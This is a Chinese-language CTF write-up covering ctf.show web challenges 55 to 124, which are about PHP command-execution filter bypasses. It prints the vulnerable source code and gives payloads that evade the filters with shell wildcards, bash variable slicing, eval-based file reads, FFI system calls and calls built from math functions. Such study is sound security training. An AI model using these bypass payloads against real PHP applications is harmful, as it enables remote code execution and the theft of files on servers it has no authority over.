目錄
web55
web56
web57
web58
web59
web60
web61
web62
web63
web64
web65
web66
web67
web68-70
web71
web72
web73
web74
web75-76
web77
web118
web119
web120
web121
web122
web124
web55
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
這個題就比較可以了,把字母過濾了,但是還保留了數字
然后解題的姿勢比較可以
第一個為使用base64進行匹配
可以匹配到/bin目錄下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
我們知道了base64,可以用通配符進行匹配命令執行進行查看flag
?c=/???/????64 flag.php
意思/bin/base64 flag.php
第二個為bzip2命令
思路是,將flag檔案進行壓縮,然后再訪問下載
/usr/bin目錄下主要放置一些應用軟體工具必備的執行檔
c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等
其中,我們可以利用/usr/bin下的bzip2
?c=/???/???/????2 ????.???
/usr/bin/bzip2 flag.php
第三個運用.(進行)執行sh命令
再之前我們要上傳post檔案資料包
原始碼如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST資料包POC</title>
</head>
<body>
<form action="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接-->
<label for="file">檔案名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包,執行poc執行命令
?c=.+/???/????????[@-[]
添加sh命令就可
#!/bin/sh
ls
具體這個方法,我還沒大學懂,還得繼續努力
web56
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
此題和上一題一樣,但是數字也被過濾掉了,需要上傳POST資料檔案
然后,上傳后抓包
?c=.+/???/????????[@-[]
再執行sh命令
#!/bin/sh
ls
#!/bin/sh
tac flag.php
web57
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
// 還能炫的動嗎?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
過濾掉了許多東西,但是最后只需要讓我們讓c等于36即可
payload:
1.
$(())輸出0,數學運算
~$(())輸出~0
$((~$(())))輸出-1
所以再這我們只需要讓36個-1相加再取反
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
2.
?c=grep${IFS}'fla'${IFS}fla??php
web58
禁用函式
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
直接用system函式試一下,發現被禁用了,然后又試了其他的函式都被禁用了
然后我們可以用讀取檔案的方式進行,在這里它沒有禁用檔案讀取
c=echo file_get_contents("flag.php");
可以得到flag
web59
原始碼沒變,但參考的函式肯定是越來越多
這個題直接使用讀取檔案的方式已經不行,被禁用了
然后這個題可以直接include函式,然后檔案讀取的方式即可

然后得到base64的編碼,直接解碼就可
web60
原始碼依舊沒變,然后試一下上一題的include方法,依然可以用
然后這個題可以使用高亮函式,直接
c=highlight_file("flag.php");
web61
依然是原始碼沒有改變,這個題前兩個的payload也可以直接用
然后這個也可以用show_source()函式
c=show_source("flag.php");
web62
這個題emm,還是前幾個payload都可以直接白嫖
然后,我們還可以用這個方法
c=include("flag.php");echo $flag;
web63
依舊是那個原始碼,用之前的payload也是可行的
然后,我們這個題可以用一下var_dump
c=include('flag.php');var_dump(get_defined_vars());
web64
原始碼依然是一樣的,前面payload都可以使用
這個題可以使用其他的
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
web65
依然是那個函式,直接show_source()得flag
web66
原始碼還是那個原始碼,但是show_source被禁用了
但是高亮函式是肯定沒有被禁了,我們可以用高亮函式

但是發現flag不在flag.php中,位置不對
我們查看一下位置
c=print_r(scandir("/"));看一下根目錄
發現到了flag.txt

然后直接flag.txt
c=highlight_file('/flag.txt');
web67
這個題和上一題相似,直接顯示flag.php是沒有的,真正的flag不在flag.php,然后多了
print_r函式的過濾,我們可以改用var_dump
c=highlight_file('/flag.txt');
web68-70
一上來居然沒有代碼,所以很明顯,那種顯示的函式肯定是被禁的
show_source、highlight_file、file_get_contents
所以我們可以用檔案包含的方式,
payload:
c=include("/flag.txt");
c=require_once('/flag.txt');
web71
附件中的原始碼
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?
?>
?函式解釋
ob_get_contents()——回傳輸出緩沖區的內容
ob_end_clean——清空(擦除)緩沖區并關閉輸出緩沖
解題的思路
執行PHP代碼,讓后面的匹配緩沖區不執行直接退出
payload
c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();
web72
題目還沒弄懂,后期補上
web73
題目hint里面給出了一個payload
c=?><?php //前面的?>用來閉合<?
$a=new DirectoryIterator("glob:///*"); //php使用glob遍歷檔案夾
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
這個方法是采用了陣列遍歷,輸出根目錄下所有的檔案
另一個payload可以直接用前一題的payload
c=var_export(scandir('/'));exit(); //發現根目錄下有flagc.txt
c=include('/flagc.txt');exit();
web74
這題又ban了scandir()函式,
payload:
c=include('/flagc.txt');exit();
web75-76
還沒搞懂,先上hint
//web75 flag在 /flag36.txt;web76 flag在 /flag36d.txt
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
#通過payload掃描 flag36.txt
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
web77
這個題,也不大懂~~~
先放上hint吧
$ffi = FFI::cdef("int system(const char *command);");//創建一個system物件
$a='/readflag > 1.txt';//沒有回顯的
$ffi->system($a);//通過$ffi去呼叫system函式
web118
首先給我們了兩個hint點
hint1:

hint2:為兩個payload
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
?
#其他師傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
這個題的具體含義為利用~獲取變數的最后幾位,如
~0獲取最后一位
~1獲取最后兩位
~[a-z]/[A-Z]獲取最后一位,等同數字0
在這要配合$PWD,$PATH
$PWD——echo $PWD會輸出當前目錄名

注:
一般$PATH是以bin結尾,所以${PATH:-A}為n
在hint1中,我們可知當前目錄是/var/www/html,也就是${PWD:-A}為l
我們可以利用這個代替,生成出nl再讀取檔案,題目也是過濾掉了數字和小寫字母,當然flag,php關鍵詞也被過濾掉了,flag.php依然是用????.???
所以payload
code=${PATH:~A}${PWD:~A} ????.???
web119
hint還是兩個第一個就是上一個圖
第二個hint
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
?
${PWD:${Z}:${#SHLVL}} ====> /
?
/bin/cat flag.php
?
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
基于上一題的做法,但是這一題過濾掉了PATH和BASH,所以我們要構造出
/bin/base64 flag.php
${#RANDOM}的值大概率是4或5,這就構造出4了
SHLVL 是記錄多個 Bash 行程實體嵌套深度的累加器,行程第一次打開shell時${SHLVL}=1,然后在此shell中再打開一個shell時$SHLVL=2,
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/
所以payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就可以得到了base64的編碼,解碼一下得到flag
web120
給了原始碼
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?
?>
又過濾掉了好多東西,但是上一題的payload可以直接用,
hint:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
提示構造的結果為
/bin/cat flag.php
所以說
${USER:}的最后一位為a
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?
?>
原始碼也是給我們了,過濾了超多東西,最重要的SHLVL被過濾掉了,所以需要用別的方法代替1,
${##}和${#?}可以代替
payload:
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${IFS}:${#?}}?? ????.???
/bin/rev flag.php
${IFS}的默認長度為3,${PWD:${#IFS}:${#?}}的值為r,用到的rev命令,會倒敘輸出
輸出完再進行,倒敘處理得到flag
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?
?>
原始碼給我們了,在這PWD被過濾了
在這PWD可以用HOME代替,其他的沒有改變,所以,我們只需要得到一個數字1就能通過,
$?,上一條命令執行結束后的傳回值,通常0代表執行成功,非0代表執行有誤
4我們也可以進行輸出,但是需要不斷重繪幾率比較小
${RANDOM::$?}
連在一起可以得到payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: 收集自網路
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
?
*/
?
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字符");
}
}
//常用數學函式http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函式");
}
}
//幫你算出答案
eval('echo '.$content.';');
}
這個題,只能用它給的函式,然后限定了傳入的值的長度為80,
然后注意白名單的函式
base_convert():在任意進制直接轉換數字
dechex():把十進制轉換為十六進制數
hex2bin():把十六進制的字串轉換為ASCLL字符
無繞過payload
?c=$_GET[a]($_GET[b]);&a=system&b=("cat flag.php")
因為[]被ban了,可以用{}代替,后面內容還沒看明白
先附上payload
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php;
做完這些題目,發現掌握了一些新知識,當時還有題目沒有做出來,后面二刷或多刷肯定會補上,進行不斷學習~~~
命令執行就先告一段落了
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297508.html
標籤:其他
上一篇:靶機滲透01
